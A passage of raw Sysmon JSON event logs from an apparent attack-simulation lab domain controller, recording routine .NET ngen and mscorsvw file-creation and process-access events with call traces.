created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:43.322\r\nProcessGuid: {90617006-431F-5F2D-0000-00100E051000}\r\nProcessId: 3180\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c6c-0\\System.Web.RegularExpressions.dll\r\nCreationUtcTime: 2020-08-07 12:03:43.322","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:43.322","ProcessGuid":"{90617006-431F-5F2D-0000-00100E051000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\c6c-0\\System.Web.RegularExpressions.dll","CreationUtcTime":"2020-08-07 12:03:43.322","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-0010E6AE0F00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-0010E6AE0F00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-0010E6AE0F00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-0010E6AE0F00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-0010E6AE0F00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-0010E6AE0F00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.463\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-0010BD020F00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.463","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-0010BD020F00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-0010BD020F00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-0010BD020F00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FD-5F2D-0000-0010BD020F00}\r\nTargetProcessId: 4556\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FD-5F2D-0000-0010BD020F00}","TargetProcessId":"4556","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:43.494\r\nProcessGuid: {90617006-431F-5F2D-0000-0010F30C1000}\r\nProcessId: 4556\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11cc-0\\System.Web.Routing.dll\r\nCreationUtcTime: 2020-08-07 12:03:43.494","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:43.494","ProcessGuid":"{90617006-431F-5F2D-0000-0010F30C1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\11cc-0\\System.Web.Routing.dll","CreationUtcTime":"2020-08-07 12:03:43.494","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:43.526\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00104F101000}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:43.526","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00104F101000}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 